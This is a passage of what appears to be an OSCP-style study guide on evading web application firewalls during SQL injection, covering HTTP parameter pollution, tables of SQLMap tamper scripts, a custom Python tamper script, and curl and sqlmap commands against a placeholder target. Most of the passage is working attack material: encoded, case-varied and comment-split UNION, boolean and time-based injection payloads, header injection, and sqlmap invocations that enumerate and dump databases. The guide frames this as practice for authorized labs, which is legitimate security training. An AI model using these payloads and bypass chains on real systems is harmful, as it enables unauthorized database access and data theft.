?id=1&id=1%20UnIoN%20SeLeCt%201,2,3

# HPP + comments
?id=1&id=1/**/UNION/**/SELECT/**/1,2,3

8.5 Parameter Pollution Summary

Technique Example Target
Duplicate ?id=1&id=malicious PHP, IIS
Array ?id[]=1&id[]=malicious PHP
Mixed types ?id=1&id[]=malicious PHP
HPP + encoding ?id=1&id=%2527... Any
HPP + whitespace ?id=1&id=1%09UNION... Any

9. SQLMap Tamper Scripts

SQLMap includes built-in tamper scripts specifically designed to bypass WAFs.

9.1 Encoding Tamper Scripts

Script Description Use
chardoubleencode.py Double URL-encode non-encoded tokens Double-decode vuln
charencode.py URL-encode all characters Basic encoding bypass
charunicodeencode.py Unicode-encode all characters Unicode bypass
charunicodeescape.py Unicode-encode with escape Escaped unicode
randomcase.py Randomize case of keywords Case-sensitive WAF
randomcomments.py Insert random comments Comment-based bypass

9.2 WAF-Specific Tamper Scripts

Script Description Target WAF
between.py Replace > with NOT BETWEEN 0 AND Generic
bluecoat.py Append AVERAGE() with space BlueCoat
charencode.py URL-encode all chars Generic
charunicodeencode.py Unicode-encode all chars Generic
equaltolike.py Replace = with LIKE Generic
greatest.py Replace > with GREATEST Generic
halfversionedmorekeywords.py Add MySQL version comments MySQL-specific WAF
ifnull2ifisnull.py Replace IFNULL with IF(ISNULL) Generic
modsecurityversioned.py Append versioned comment ModSecurity
modsecurityzeroversioned.py Append zero-versioned comment ModSecurity
multiplespaces.py Add multiple spaces around keywords Generic
nonrecursivereplacement.py Handle non-recursive replacement Generic
overlongutf8.py UTF-8 overlong encoding Generic
percentage.py Prepend % to data Generic
plus2concat.py Replace + with CONCAT Generic
plus2fnconcat.py Replace + with MySQL CONCAT() MySQL
appendnullbyte.py Append null byte Generic
space2hash.py Replace spaces with # + random Generic
space2morehash.py Replace spaces with # + more random Generic
space2mssqlblank.py Replace with MSSQL blanks MSSQL
space2mssqlhash.py Replace spaces with # MSSQL
space2mysqlblank.py Replace with MySQL blanks MySQL
space2plus.py Replace spaces with + Generic
space2randomblank.py Replace with random valid blank Generic
sp_password.py Append sp_password MSSQL
unionalltounion.py Replace UNION ALL SELECT with UNION SELECT Generic
varnish.py Handle Varnish Cache Varnish
versionedkeywords.py Wrap keywords in version comments MySQL
versionedmorekeywords.py Wrap more keywords in version comments MySQL
xforwardedfor.py Inject via X-Forwarded-For header Generic

9.3 Advanced Tamper Scripts

Script Description Target
agentstring.py Fake random benign User-Agent Generic
apostrophemask.py Replace ' with UTF-8 Generic
apostrophenullencode.py Replace ' with %00%27 Generic
base64encode.py Base64-encode all values Base64-decoding apps
bulkedinsert.py Transform INSERT bulk Generic
chardoubleencode.py Double URL-encode Double-decode vuln
commalesslimit.py Replace LIMIT M, N Generic
commalessmid.py Replace MID(a,b,c) with MID(a FROM b FOR c) MySQL
commentbeforeparentheses.py Prepend /**/ before parentheses Generic
concat2concatws.py Replace CONCAT() with CONCAT_WS() MySQL
debasedomain.py Replace --domain DNS exfil
demomysql.py For MySQL demo mode MySQL demo
dumbdbmssql.py For dumb MS SQL Server 2000 MSSQL 2000
dumbdboracle.py For dumb Oracle Oracle
escapequotes.py Double up quotes Generic
greatest.py Replace > with GREATEST Generic
halfversionedmorekeywords.py MySQL version comments MySQL
htmlencode.py HTML-encode all special characters Generic
ifnull2ifisnull.py IFNULL → IF(ISNULL) Generic
informationschemacomment.py Add comment after information_schema Generic
lowercase.py Lowercase all keywords Case-sensitive WAF
modsecurityversioned.py ModSecurity version comment ModSecurity
modsecurityzeroversioned.py ModSecurity zero version ModSecurity
overlongutf8.py UTF-8 overlong Generic
overlongutf8more.py UTF-8 overlong (more) Generic
percentage.py Prepend % Generic
randomcase.py Random case Generic
randomcomments.py Random comments Generic
securesphere.py Append long string Imperva SecureSphere
sp_password.py Append sp_password MSSQL
space2comment.py Spaces → /**/ Generic
space2dash.py Spaces → -- + newline Generic
space2hash.py Spaces → # + newline Generic
space2morehash.py Spaces → # + more Generic
space2mssqlblank.py MSSQL blank chars MSSQL
space2mssqlhash.py Spaces → # MSSQL
space2mysqlblank.py MySQL blank chars MySQL
space2plus.py Spaces → + Generic
space2randomblank.py Random blank Generic
symboliclogical.py AND→&&, OR→|| Generic
timestatenegative.py Negative time-based Generic
timestatenumber.py Integer time-based Generic
unionalltounion.py UNION ALL → UNION Generic
unmagicquotes.py Escape for magic quotes PHP magic quotes
varnish.py Handle Varnish Varnish
versionedkeywords.py Version comments MySQL
versionedmorekeywords.py More version comments MySQL
xforwardedfor.py X-Forwarded-For injection Generic

9.4 Using Tamper Scripts

Single Tamper

sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,randomcase

Multiple Tampers (Chained)

sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase,charencode \
  --dbs

Common Tamper Combinations

# ModSecurity bypass
--tamper=space2comment,randomcase,modsecurityversioned

# Cloudflare bypass
--tamper=space2comment,randomcase,charencode

# Generic strong bypass
--tamper=space2comment,randomcase,chardoubleencode,unionalltounion

# MySQL-specific
--tamper=space2mysqlblank,randomcase,versionedkeywords

# Heavy encoding
--tamper=charencode,chardoubleencode,randomcase,space2comment

# Imperva bypass
--tamper=securesphere,space2comment,randomcase

# Wide byte
--tamper=unmagicquotes

Custom Tamper Script

Create your own tamper script at ~/.sqlmap/tamper/mybypass.py:

#!/usr/bin/env python
"""
mybypass.py
Custom tamper script for OSCP labs
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Custom bypass: mix case + comment spaces + encode quotes
    """
    if not payload:
        return payload

    result = ""
    for i, char in enumerate(payload):
        if char in ("'", "%27"):
            result += "%27"
        elif char == " ":
            result += "/**/"
        elif char.isalpha():
            # Random case
            import random
            if random.random() > 0.5:
                result += char.upper()
            else:
                result += char.lower()
        else:
            result += char

    return result

9.5 SQLMap WAF Bypass Options

# --level and --risk for deeper testing
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# --delay between requests (avoid rate limiting)
sqlmap -u "http://target.com/page?id=1" --delay=2

# --time-sec for time-based detection threshold
sqlmap -u "http://target.com/page?id=1" --time-sec=5

# --fresh-queries to ignore cache
sqlmap -u "http://target.com/page?id=1" --fresh-queries

# --batch for non-interactive
sqlmap -u "http://target.com/page?id=1" --batch

# --technique to specify injection types
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ

# --code to expect specific response code
sqlmap -u "http://target.com/page?id=1" --code=200

# --prefix and --suffix for manual tuning
sqlmap -u "http://target.com/page?id=1" --prefix="'" --suffix="-- -"

# --ignore-code to ignore HTTP errors
sqlmap -u "http://target.com/page?id=1" --ignore-code=403,500

10. Methodology and Workflow

10.1 Systematic WAF Bypass Approach

Step 1: Identify the WAF
  ↓
Step 2: Test basic payloads (establish baseline)
  ↓
Step 3: Try encoding bypasses
  ↓
Step 4: Try whitespace bypasses
  ↓
Step 5: Try keyword bypasses
  ↓
Step 6: Try operator bypasses
  ↓
Step 7: Try advanced techniques
  ↓
Step 8: Try parameter pollution
  ↓
Step 9: Use SQLMap with tamper scripts
  ↓
Step 10: Combine techniques

10.2 WAF Identification

# Check response headers
curl -I http://target.com

# Look for WAF-specific headers:
# X-ModSecurity: ModSecurity
# Server: cloudflare: Cloudflare
# X-Amz-Cf-Id: AWS WAF
# X-Akamai: Akamai
# X-Iinfo: Imperva
# FortiWeb: FortiWeb

# Check error pages for WAF branding
# Check response time differences

10.3 Baseline Testing

# Test 1: Normal request
curl "http://target.com/page?id=1"

# Test 2: Basic injection
curl "http://target.com/page?id=1'"

# Test 3: UNION injection
curl "http://target.com/page?id=1' UNION SELECT 1,2,3--"

# Test 4: Boolean injection
curl "http://target.com/page?id=1' AND '1'='1"
curl "http://target.com/page?id=1' AND '1'='2"

# Test 5: Time-based injection
curl "http://target.com/page?id=1' AND SLEEP(5)--"

10.4 Progressive Bypass Testing

# Level 1: Case variation
curl "http://target.com/page?id=1' UnIoN SeLeCt 1,2,3--"

# Level 2: Whitespace replacement
curl "http://target.com/page?id=1'/**/UNION/**/SELECT/**/1,2,3--"

# Level 3: URL encoding
curl "http://target.com/page?id=%27%20UNION%20SELECT%201,2,3--"

# Level 4: Double encoding
curl "http://target.com/page?id=%2527%2520UNION%2520SELECT%25201,2,3--"

# Level 5: Mixed techniques
curl "http://target.com/page?id=%27%20UnIoN%20/**/SeLeCt%201,2,3--"

# Level 6: Alternative operators
curl "http://target.com/page?id=1&&1=1"

# Level 7: Parameter pollution
curl "http://target.com/page?id=1&id=1'/**/UNION/**/SELECT/**/1,2,3--"

# Level 8: Header injection
curl -H "X-Forwarded-For: 1' UNION SELECT 1,2,3--" "http://target.com/page?id=1"

10.5 Decision Tree

Does basic injection work?
├── YES → Proceed with normal exploitation
└── NO → WAF detected
    ├── Try case variation
    │   ├── YES → Use case variation
    │   └── NO → Try whitespace replacement
    │       ├── YES → Use whitespace bypass
    │       └── NO → Try encoding
    │           ├── YES → Use encoding bypass
    │           └── NO → Try combined techniques
    │               ├── YES → Use combined bypass
    │               └── NO → Try SQLMap with tampers
    │                   ├── YES → Use SQLMap
    │                   └── NO → Try advanced techniques
    │                       ├── Wide byte
    │                       ├── Parameter pollution
    │                       ├── Header injection
    │                       └── Custom tamper scripts

11. Practice Labs

11.1 DVWA (Damn Vulnerable Web App)

URL: http://localhost/dvva/vulnerabilities/sqli/
Difficulty: Low → Medium → High → Impossible

Low:     No WAF, basic injection
Medium:  Basic filtering, try encoding
High:    Stronger filtering, try advanced bypasses

11.2 bWAPP (buggy Web Application)

URL: http://localhost/bWAPP/
SQL Injection variants:
- sqli_1.php: Basic
- sqli_2.php: Encoded
- sqli_3.php: Filtered
- sqli_4.php: WAF-protected

11.3 SQLMap Practice

# Practice tamper scripts against local targets
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \
  --cookie="PHPSESSID=xxx" \
  --tamper=space2comment,randomcase \
  --dbs

# Practice with delay (simulate WAF rate limiting)
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" \
  --cookie="PHPSESSID=xxx" \
  --delay=3 \
  --tamper=charencode,space2comment \
  --dump

11.4 OSCP-Style Practice Checklist

  • Identify if a WAF is present (check headers, error pages)
  • Test basic SQL injection payloads
  • Try case variation on blocked keywords
  • Replace spaces with /**/
  • Try URL encoding single and double
  • Try alternative operators (&&, ||)
  • Try comment-based keyword splitting
  • Try parameter pollution
  • Try header-based injection
  • Use SQLMap with appropriate tamper scripts
  • Combine multiple bypass techniques
  • Document what worked and what didn’t

Quick Reference Card

Most Common Bypasses (OSCP Labs)

-- 1. Comment spaces (most reliable)
UNION/**/SELECT/**/1,2,3

-- 2. Case variation
UnIoN SeLeCt 1,2,3

-- 3. URL encoding
%27%20UNION%20SELECT%201,2,3

-- 4. Alternative operators
1&&1=1
1||1=1

-- 5. Mixed case + comments
UnIoN/**/SeLeCt/**/1,2,3

-- 6. Double encoding
%2527%2520UNION%2520SELECT

-- 7. Wide byte (GBK)
%bf' UNION SELECT 1,2,3--

-- 8. Parameter pollution
?id=1&id=1' UNION SELECT 1,2,3--

-- 9. Hex strings
0x61646D696E

-- 10. CHAR function
CHAR(97,100,109,105,110)

SQLMap Quick Commands

# Basic WAF bypass
sqlmap -u "URL" --tamper=space2comment,randomcase --dbs

# Heavy encoding
sqlmap -u "URL" --tamper=charencode,chardoubleencode,space2comment --dbs

# ModSecurity
sqlmap -u "URL" --tamper=modsecurityversioned,space2comment,randomcase --dbs

# With delay
sqlmap -u "URL" --tamper=space2comment,randomcase --delay=2 --dbs

# Time-based only
sqlmap -u "URL" --technique=T --tamper=space2comment --time-sec=5

This study guide covers WAF bypass techniques commonly encountered in OSCP-style labs. Always practice in authorized environments only.